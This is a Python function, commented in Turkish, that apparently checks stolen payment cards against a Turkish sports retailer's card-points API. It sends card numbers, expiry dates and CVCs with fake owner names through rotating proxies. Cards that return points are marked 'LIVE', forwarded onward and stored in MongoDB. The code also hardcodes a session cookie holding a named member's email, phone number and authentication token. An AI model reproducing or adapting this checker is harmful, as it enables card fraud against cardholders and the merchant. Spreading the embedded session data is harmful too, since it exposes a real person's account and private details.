def check_card_korayspor(kartNo, kartAy, kartYil, kartCvc, use_proxy=True): """Koray Spor API ile kart kontrolü""" url = "https://www.korayspor.com/tr/Api/Version/1.0/PaymentApi/GetCreditCardPoint" payload = { "CreditCard": { "Number": kartNo, "Owner": fake.name(), "ExpireYear": int(kartYil), "ExpireMonth": int(kartAy), "CVC": kartCvc }, "Money": { "Amount": 8499, "CurrencyId": 1 }, "IpAddress": "127.0.0.1", "PaymentProvider": "CreditCard" } # Koray Spor için gerekli cookie korayspor_cookie = """HWWAFSESTIME=1758654245277; HWWAFSESID=77d79916ccfd954460; ccpa=5111c043-da81-7455-fc27-dbf58d82b854; output-cache-key=; _ga=GA1.2.2032218847.1758654251; _gid=GA1.2.1468348103.1758654251; _fbp=fb.1.1758654250686.22514144413337239; _hjSession_604833=eyJpZCI6IjZjMWQ5NzM3LTJjOTMtNGE3MC04YTAwLTBlY2ViMzFmMWM5MSIsImMiOjE3NTg2NTQyNTA4MDAsInMiOjAsInIiOjAsInNiIjowLCJzciI6MCwic2UiOjAsImZzIjoxLCJzcCI6MH0=; _pin_unauth=dWlkPU5qaGtOV05sWlRrdE5XTmxZeTAwTkRjd0xUazRNMll0WVRFMFkySmlZbUV5TXpOag; _ym_uid=1758654251939906711; _ym_d=1758654251; _ym_isad=2; _ym_visorc=w; _hjSessionUser_604833=eyJpZCI6ImJlNGQ0NmJjLTBiZDUtNWVmNS05M2FjLTc3OWJlMzEyNjkxMyIsImNyZWF0ZWQiOjE3NTg2NTQyNTA3OTgsImV4aXN0aW5nIjp0cnVlfQ==; __RequestVerificationToken=1pwgGXvJNwxp0Q_X01JCgBM5LndXpRotiVR3t1BDW4MDDhoxfYwgYmtkzmjpd5muNatD8XghFLd31uKpnQwSJFli4i1Ec7gjXZ8C-9bQbdY1; ems-member={"memberid":4174908,"login":true,"name":"emre","surname":"mor","email":"allahtakdiricagrubey@gmail.com","language":"tr","isGuest":false,"countryid":1,"genderid":null,"mobilephone":"5516926631","birthdate":null,"isemailpermitted":false,"issmspermitted":true,"isloyaltycardrequested":false,"isapproved":true}; ccpu=kUapTYEm2u8l.1758654743; cookie_consent_user_accepted=true; cookie_consent_level=%7B%22strictly-necessary%22%3Atrue%2C%22functionality%22%3Atrue%2C%22tracking%22%3Atrue%2C%22targeting%22%3Atrue%7D; cartItemCount=1; cto_bundle=yKtSgV9qbVFZUmU1NVA1em9oQzExV0dQNU5QUCUyRjRQMWRaME9aSjhLTkkyY1A1T2dEU20lMkJQMDhQQkdUYzNhUDl4RUszdVR3emVqOVpKOVZnRnlyJTJGVU5ja3BEbkFnbEZnM2dYT2l1UXF3WUlOaUdWejUlMkJvWUdmJTJCWG81WVp3TWNQMFklMkJPamw2b0tzWkFzRSUyRlpkUGUxOVNuNHN0WENZazY1Tmp4M201VHhlME5YOUsyUSUzRA; _ga_MTC8VX0VX5=GS2.2.s1758654250$o1$g1$t1758654747$j48$l0$h0; __stripe_mid=d2f49aab-d426-4f28-83ec-0a5ffb5373384675e9; __stripe_sid=4f68b68a-1cb1-46c2-a139-8f817ba63557d850ca; .ASPXAUTH=8C8F07943B00999B3AF2D852BBADC9E34FA8EAF635FDCDB8E670EFD34E572B92E9EC1DBBD587B9147B2BDA23B5E977EDC3FE2F61413ECDE0ED416EFB843FA40A08D7D8823412E7E99CB804A83487E54AA00633665EAB3131DDD1C303FAB533029632A9605CA6C04AAFDC77AF054505CD3C5F3EE986F27633FCC830E91EFF4812DD395126DCAB60B16D5CF6405933A3F516E402FB90B3A16ABBE40513FA64214B790AF60ED6B945195BF73174D359C727E5B3FB615912EEF5D0877DCAB0D556B4041806CD75F1CE8EA79838F2924B483629F7CA26D5204E64625B8BC3E3BF2771A589A875A5F092DC10A3D5453A908DC8E08988C565F633C7FE8216D6265BD084507C7662290712D56BDA5DF0980573026DE8E1E7EB4540519010D70BDA9A2C79FEB653055D1D81025655E88E9BA58CDD092BF73824CA34E79B141A82B904E590DCD7950B9436A07A8602AF4AFA5582377540D73B314555E434D892E42983980DC4B4FB35929C2560798B63FE3166878483EEBA4648F2D7BA41810B5899CC6D7D87C04DCBF4CE4477DBC21972E3F3D5D74DC3860C1F77DA7DDFE4DBC2CAE20F8A17B4EBC928CF5295ACE23F20092FFBDE4463B4C080F785E8909D87C63ED900F24BAEBBA336B8583B2F14862E0B05F396FBD759B76090E151E565651C8A5EB56BB3368D593DB4510DB736F908D62456E13F676D43EDDC2E548E0DB3698C440FBA3FE51D286BA2C5A13F0F124A957EBF825895C05AF4BD2F1CFF4FF9699D51520B020FE5A7DC70B38D943B04BEDF21A12778AEE8DD445DB12F35776C013AD1296B4CD888709B1029C00D5EB110B01F2D8F2ED340305D9B7C1C5893912BDFB4AB64EFB1003371C949C21E24A85CF488557734A3CD469203F00B747A531E77AB6BA70E5663B7031AA5C0D5A7D07E92D533968BCFF9DC49B7D97BF61CF393C6E59DAD8DA105784949F14E9087E536DA23F122032F8705C1AAAB40358DE32BA9DF76AF4EBF0D82500CF83C1D487C0D8A064704857CDE874F2EBD7F3053C030E42004BE05526848179C5369FBFC20A50F119762686CBB71CF29F7803E6A1EF51D26219804B0808DF70F6CF683506CEA7BB4F679176CC66E9CF02BB2F6CB7FE36D68D19F22B4F2851AB363D32100B1F1108B1AB63A7E7B0A17D12EFDF9174C05095D7035DE341568448C8BD460E9676B3EE10813FE9805713930ED1EFC859B54FCAA0B3089B61BC404601BEDECBFD05E9179A73B7F40E512703868592CB1DCBE9446823D808B9ECBED3497D701050792640B925EB9323A4FD22E9796350BC47A7628DCC2F60C003FF964BF3F34449F8E8F4976D4CBD1D310C6860A03867AEC923C7FA18BDA4EBCC056CE290632B2966CB073A3CA0867602339D17F049866D03A1DEDA48477E6DAD5B979380387CD0C5DCF8FC29AFB0DAA5296D6649C8E6B48545AB7F2CEF7BE2779B05E379783117E00510C41345E536DE6AB28C5B79C5349CBB8E0EDE1093514E4114A34D0F3E3D614FB20D1415331D185A29926C0C32F6AEF3447A894D3F80CA43AB00DE10CB0527B3F02360A0402FE091432536FF7243A61E701015683CF31B2A48E8166A622359E839F03AC9F8D2CF22ECB81025648AD23721772F47488B66DD5E670BC9998965B6BAA6CF6F1127DDE5872281B7D7E66732D247E683EB7D1D4F781C4DE035325C80100C255960CC9BCA7776F69E2EE132C89DDAC50""" headers = { 'User-Agent': xx, 'Accept-Encoding': 'gzip, deflate, br, zstd', 'Content-Type': 'application/json', 'Cookie': korayspor_cookie, 'sec-ch-ua-platform': '"Windows"', 'sec-ch-ua': '"Chromium";v="140", "Not=A?Brand";v="24", "Google Chrome";v="140"', 'sec-ch-ua-mobile': '?0', 'origin': 'https://www.korayspor.com', 'sec-fetch-site': 'same-origin', 'sec-fetch-mode': 'cors', 'sec-fetch-dest': 'empty', 'referer': 'https://www.korayspor.com/sepet/', 'accept-language': 'tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7', 'priority': 'u=1, i' } try: start_time = time.time() # Proxy kullanımını kontrol et request_kwargs = { 'headers': headers, 'data': json.dumps(payload), 'timeout': 15 } if use_proxy: request_kwargs['proxies'] = get_next_proxy() print(f"[KORAYSPOR DEBUG] Using proxy: {request_kwargs['proxies']}") else: print("[KORAYSPOR DEBUG] No proxy used") rate_limit() response = request_with_retries('post', url, use_proxy, request_kwargs) elapsed_time = time.time() - start_time print(f"[KORAYSPOR DEBUG] Card: {kartNo}|{kartAy}|{kartYil}|{kartCvc}") print(f"[KORAYSPOR DEBUG] Status: {response.status_code}") print(f"[KORAYSPOR DEBUG] Response: {response.text}") data = response.json() print(f"[KORAYSPOR DEBUG] Parsed: {data}") except requests.exceptions.RequestException as e: return { 'status': 'error', 'card': f"{kartNo}|{kartAy}|{kartYil}|{kartCvc}", 'message': f"Request Hatası: {str(e)}", 'debug': f"Request failed: {str(e)}" } except ValueError as e: return { 'status': 'error', 'card': f"{kartNo}|{kartAy}|{kartYil}|{kartCvc}", 'message': f"JSON Parse Hatası: {str(e)}", 'debug': f"Response was not valid JSON: {response.text[:200]}" } except Exception as e: return { 'status': 'error', 'card': f"{kartNo}|{kartAy}|{kartYil}|{kartCvc}", 'message': f"Genel Hata: {str(e)}", 'debug': f"Unexpected error: {str(e)}" } duration_text = f"{round(elapsed_time, 3)} sn" # Debug bilgileri debug_info = { 'status_code': response.status_code, 'response_text': response.text, 'parsed_data': data, 'duration': duration_text } try: amount = data.get("Point", {}).get("Amount", 0) is_success = data.get("IsSuccess", False) is_fatal = data.get("IsFatal", False) if amount > 0.01: try: points_val = float(amount) maybe_send_live_card(kartNo, str(kartAy), str(kartYil), kartCvc, points_val) save_live_card_to_mongo(kartNo, str(kartAy), str(kartYil), kartCvc, points_val) except Exception: pass return { 'status': 'live', 'card': f"{kartNo}|{kartAy}|{kartYil}|{kartCvc}", 'message': f"✅ LIVE | Puan: {amount} | {duration_text}", 'points': str(amount), 'debug': debug_info, 'is_success': is_success, 'is_fatal': is_fatal } else: return { 'status': 'declined', 'card': f"{kartNo}|{kartAy}|{kartYil}|{kartCvc}", 'message': f"❌ DECLINED | Puan: {amount} | {duration_text}", 'debug': debug_info, 'is_success': is_success, 'is_fatal': is_fatal } except Exception as e: return { 'status': 'error', 'card': f"{kartNo}|{kartAy}|{kartYil}|{kartCvc}", 'message': f"Parse Hatası: {str(e)}", 'debug': debug_info }